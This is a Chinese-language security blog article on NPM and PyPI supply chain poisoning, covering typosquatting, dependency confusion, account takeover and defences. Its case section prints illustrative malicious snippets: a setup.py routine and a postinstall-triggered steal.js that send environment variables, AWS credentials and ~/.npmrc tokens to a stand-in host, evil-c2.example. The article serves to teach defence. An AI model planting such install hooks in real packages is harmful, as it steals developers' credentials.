网络安全

NPM/PyPI 供应链投毒:从依赖劫持到 typosquatting,开源依赖的隐形风险

2026-08-19 #Java#供应链攻击#开源安全#NPM#PyPI

你只是 npm install 了一个”看起来正常”的包,或者 pip install 了一个”拼写很像官方”的库。
但你的服务器,可能已经在后台偷偷运行了一段恶意代码——它可能窃取你的环境变量、密钥,甚至回连攻击者的服务器。


引言:一次 install,可能就是一次入侵

现代软件开发,几乎离不开开源依赖。一个看似简单的项目,node_modules 里可能躺着几百上千个包;一个 Python 项目,requirements.txt 里列着一长串库。

但很少有人意识到:你 install 的每一个包,本质上都是在”信任”一个陌生人——而这份信任,正成为攻击者最热衷的攻击面。

从 NPM(JavaScript 生态)到 PyPI(Python 生态),供应链投毒事件正以惊人的速度增长。攻击者不再费劲找 0day,而是把恶意代码伪装成”正常的开源包”,等着开发者”亲手”把它们装进生产环境。

一句话定义它:

NPM/PyPI 供应链投毒 = 攻击者利用”开发者对开源包的无条件信任”,通过恶意包、依赖劫持、拼写混淆等手段,把后门送进无数项目。


一、什么是供应链投毒?

供应链投毒(Supply Chain Poisoning)的核心逻辑,是把恶意代码藏进”看起来可信”的软件包里,然后让开发者主动安装它。

1
2
3
4
5
6
7
攻击者 → 制作/篡改恶意包 → 发布到 NPM/PyPI
↓
开发者 → npm install / pip install → 无意识地安装
↓
恶意代码在构建、运行、部署时执行
↓
窃取密钥、环境变量、源码,植入后门,回连 C2

与 xz-utils、SolarWinds 这类”顶级投毒”不同,NPM/PyPI 的投毒更”日常化”、更”低门槛”——几乎任何会写代码的人都能发起,也因此数量庞大、防不胜防。


二、主要的投毒手法

2.1 Typosquatting(拼写混淆 / 域名仿冒)

这是最常见的投毒手法之一。攻击者注册一个与热门包名字极其相似的包,等开发者”手滑”拼错:

真实包 仿冒包(typosquatting)
requests requsts、reqeusts
lodash lodahs、lodaash
express expres、expresss
numpy numpyy、numpi
crypto cryto、cripto

危害:

  • 开发者输入错误或”凭记忆”输入时,就可能装到仿冒包。
  • 仿冒包可能是空壳(无功能,仅为”抢注”),也可能直接内置恶意代码。

一个经典的案例是 python-dateutil 的仿冒包 python3-dateutil、django 的仿冒包等,不少开发者因拼写习惯而中招。

2.2 依赖劫持(Dependency Confusion)

这是**最危险、也最”聪明”**的手法之一,由安全研究员 Alex Birsan 在 2021 年系统性揭示。

原理:

1
2
3
4
5
6
7
企业的内部私有包(如 internal-lib)只发布在内部私有仓库
↓
但项目在构建时,若配置不当,会先向公共仓库(NPM/PyPI)查找
↓
攻击者在公共仓库注册同名包,并设置更高的版本号
↓
构建系统"优先"拉取了攻击者的恶意包,而非内部真实包

关键点:

  • 攻击者利用的是**”公共仓库优先于私有仓库”的解析顺序漏洞**。
  • 一个伪造的高版本包,就能”劫持”企业内部的依赖。

Birsan 用这个方法,成功”入侵”了微软、苹果、特斯拉、优步等数十家公司的构建系统(经授权测试),并因此获得了数万美元的漏洞赏金。

2.3 恶意包直接发布(Malicious Package)

攻击者直接发布一个**伪装成”实用工具”**的包,诱导开发者安装:

1
2
3
4
5
包的描述写着:"超级好用的日志工具 / 图片处理库 / 加密工具"
↓
实际上内置了恶意代码
↓
安装或导入时触发,窃取信息、植入后门

常见伪装:

  • 伪装成热门工具的”增强版””精简版”。
  • 伪装成求职、学习、运维常用的”小工具”。
  • 用夸张的下载量、星标(刷量造假)增加可信度。

2.4 维护者账号被接管(Account Takeover)

攻击者通过钓鱼、凭据泄露、弱密码等方式,接管某个真实且有一定下载量的包的维护者账号:

1
2
3
4
5
攻击者拿到维护者账号
↓
向包推送一个"新版本",里面藏着后门
↓
所有依赖该包的开发者,在正常升级时被投毒

这比”仿冒”更可怕——因为包名是真实的,开发者对它毫无戒心。

2.5 依赖的依赖(Transitive Dependency)投毒

攻击者不直接投毒热门包,而是投毒一个冷门但被广泛依赖的小包:

1
2
3
4
5
热门包 A → 依赖 → 冷门包 B
↓
攻击者投毒 B(B 很小、很少人关注)
↓
所有用 A 的人,间接被 B 投毒

这正是 xz-utils 事件的”开源版”逻辑——攻击”少人守护”的底层依赖,就能波及”所有人”。


三、恶意代码长什么样?——几个真实投毒案例剖析

3.1 窃取环境变量与密钥(PyPI 案例)

2022 年,PyPI 上多个包被发现窃取用户的 AWS 密钥、环境变量。典型恶意逻辑(脱敏还原):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 恶意包 setup.py 或 __init__.py 中的代码(概念还原)
import os, requests

def exfiltrate():
# 1. 收集敏感信息
secrets = {
"env": dict(os.environ), # 环境变量(常含密钥、Token)
"aws": os.path.expanduser("~/.aws/credentials"), # AWS 凭据
"ssh": os.path.expanduser("~/.ssh/id_rsa"), # SSH 私钥
}
# 2. 回传到攻击者服务器
requests.post("https://evil-c2.example/collect", json=secrets)

exfiltrate() # 在 pip install 时即触发

危害: 开发者的云密钥、数据库密码、私钥被静默窃取,攻击者可借此控制云资源、入侵服务器。

3.2 NPM 包的”安装后脚本”后门(NPM 案例)

NPM 包支持 postinstall 脚本,会在安装后自动执行。攻击者常利用它植入后门:

1
2
3
4
5
6
7
8
// 恶意包的 package.json(概念还原)
{
"name": "lodahs",
"version": "1.0.0",
"scripts": {
"postinstall": "node ./steal.js" // 安装后自动执行恶意脚本
}
}
1
2
3
4
// steal.js(概念还原)
const { execSync } = require('child_process');
// 窃取 .npmrc 中的 token、Git 凭据、历史命令
execSync('curl -X POST -d "$(cat ~/.npmrc)" https://evil-c2.example/steal');

危害: npm install 的那一刻,恶意脚本就已执行,无需开发者运行任何代码。

3.3 伪装成”工具”的挖矿/后门

一些恶意包伪装成合法的开发工具,实际上内置了:

  • 加密货币挖矿程序(消耗受害者服务器算力)。
  • 远控后门(回连 C2,等待远程指令)。
  • 勒索软件(加密文件后勒索)。

四、与 Java 生态的关联:为什么 Java 开发者也不能掉以轻心?

很多人以为”供应链投毒”是 JS/Python 的事,Java 有 Maven Central 更安全。但事实并非如此:

4.1 Maven / Gradle 同样面临投毒

  • Java 的 Maven Central、私有 Nexus 仓库,同样存在 typosquatting、依赖混淆风险。
  • 一个拼错的 groupId 或 artifactId,可能拉取到恶意构件。

4.2 你已有的文章已揭示的 Java 风险

本站之前的多篇文章,已经触及了 Java 生态的”依赖之痛”:

已有文章 关联的供应链风险
《Log4Shell》 Log4j 是”人人都在用”的基础依赖,一处漏洞波及全球
《Java 反序列化三部曲》 WebLogic/Fastjson/Shiro 的漏洞,多因依赖的 gadget 链被利用
《Java 序列化与反序列化》 反序列化本质是”信任了不可信的数据”

逻辑是相通的:无论是 JS、Python 还是 Java,只要你的项目”依赖了别人的代码”,你就已经暴露在供应链风险之下。

4.3 一个 Java 依赖混淆的示例

假设企业内部有一个私有构件 com.company:internal-core,只发布在内部 Nexus。若 settings.xml / pom.xml 配置不当,构建时可能先查询公共 Maven Central:

1
2
3
4
5
项目依赖 com.company:internal-core
↓
构建时先查公共仓库 → 攻击者抢注了同名构件(更高版本)
↓
拉取了攻击者的恶意 jar,而非内部真实构件

这与 NPM/PyPI 的”依赖混淆”是完全相同的原理。


五、检测与防御:开发者如何自保?

对开发者

  1. 仔细核对包名:安装前确认包名拼写、下载量、维护状态,警惕”少一个字母”的仿冒包。
  2. 锁定依赖版本:使用 package-lock.json、requirements.txt 的精确版本、pip freeze,避免”自动升级到恶意版本”。
  3. 审计依赖:使用 npm audit、pip-audit、pipenv check、safety 等工具扫描已知漏洞。
  4. 检查安装脚本:警惕含 postinstall、preinstall 等”自动执行脚本”的包。
  5. 隔离与最小权限:构建、测试在隔离环境中进行,密钥不要硬编码进代码或环境变量。
  6. 配置私有仓库优先:正确配置仓库解析顺序,防止”依赖混淆”——公共仓库永远不应优先于私有仓库。
  7. 使用 SBOM 与依赖来源校验:清晰记录依赖来源,出现投毒时能快速定位。

对机构

  1. 统一依赖管理:通过私有仓库(如 Nexus、Artifactory、Verdaccio)代理并缓存外部依赖,阻断”公共仓库直连”。
  2. 依赖白名单与审批:对新增依赖进行安全评审。
  3. 持续监控:监控依赖的异常变更(如某包突然更新了不寻常的版本)。

检测命令示例

1
2
3
4
5
6
7
8
9
10
11
# NPM:审计依赖漏洞
npm audit

# Python:用 pip-audit 扫描
pip install pip-audit && pip-audit

# 用 safety 检查 requirements.txt
pip install safety && safety check -r requirements.txt

# 检查项目里是否有可疑的"拼写相似"依赖
# (人工核对 package.json / requirements.txt 中的包名拼写)

六、结语:信任陌生人,需要”验证”

NPM/PyPI 供应链投毒,本质上揭示了一个被忽略的事实:

现代软件开发是建立在”信任陌生人”之上的——而这份信任,正在被攻击者系统性利用。

攻击者不需要高超的技术,只需要一个”看起来正常”的包名、一段”安装即执行”的脚本,就能触及无数开发者。

我们无法停止使用开源,但我们可以学会”验证”而非”盲信”:核对包名、锁定版本、审计依赖、隔离构建——把”信任”变成”持续验证”,才能在享受开源红利的同时,守住安全底线。


检测建议:与本站技术系列的联动

本文技术点 延伸阅读
供应链投毒(商业软件) 《SolarWinds 事件复盘》(供应链投毒”双子星”)
供应链投毒(开源基础库) 《xz-utils 后门事件复盘》
Java 依赖风险 《Log4Shell》《Java 反序列化三部曲》
开源信任危机 《xz-utils》”bus factor=1”章节

参考资料

  • Alex Birsan:依赖混淆(Dependency Confusion)研究
  • NPM / PyPI 官方安全公告与恶意包下架记录
  • 各安全厂商(Snyk、Sonatype、Checkmarx 等):供应链投毒年度报告
  • OWASP:软件组件分析(SCA)与供应链安全指南

本文基于公开资料整理撰写,仅供网络安全研究与教育目的使用,不构成任何安全或法律建议。


相关文章

本文是「供应链攻击」系列的一员:


评论
分享

评论